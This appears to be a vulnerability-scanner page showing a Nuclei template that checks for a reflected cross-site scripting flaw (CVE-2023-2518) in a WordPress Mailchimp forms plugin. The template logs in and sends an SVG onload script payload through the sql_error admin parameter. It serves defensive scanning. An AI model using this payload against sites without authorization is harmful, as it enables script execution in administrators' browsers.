WordPress Easy Forms for Mailchimp Plugin < 6.8.9 - Cross-Site Scripting

ID: CVE-2023-2518

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,wp,wordpress,wp-plugin,xss,yikes-inc-easy-mailchimp-extender,authenticated

Description

The Easy Forms for Mailchimp plugin before version 6.8.9 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the sql_error parameter before outputting it back in the page when the debug option is enabled, which could allow attackers to execute arbitrary JavaScript code in an administrator’s browser context.

YAML Source

id: CVE-2023-2518

info:
  name: WordPress Easy Forms for Mailchimp Plugin < 6.8.9 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Easy Forms for Mailchimp plugin before version 6.8.9 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the sql_error parameter before outputting it back in the page when the debug option is enabled, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.
  reference:
    - https://wpscan.com/vulnerability/ca120255-2c50-4906-97f3-ea660486db4c
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2518
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2518
    cwe-id: CWE-79
    cpe: cpe:2.3:a:yikesinc:easy_forms_for_mailchimp:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    vendor: yikesinc
    product: easy_forms_for_mailchimp
    fofa-query: body="wp-content/plugins/yikes-inc-easy-mailchimp-extender/"
  tags: cve,cve2023,wp,wordpress,wp-plugin,xss,yikes-inc-easy-mailchimp-extender,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "yikes-inc-easy-mailchimp-extender"
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=yikes-mailchimp-edit-form&sql_error=%3Csvg%2Fonload%3Dalert%28document.domain%29%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<svg/onload=alert(document.domain)>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022042b21474a852eab565f32d55f832ead17267921172ca9f9033a3c4e1d9dd357c02210081070c1f9db8710b1a4139613152e54c676110c67efd8dd684156242e99bf13f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-2518.yaml"

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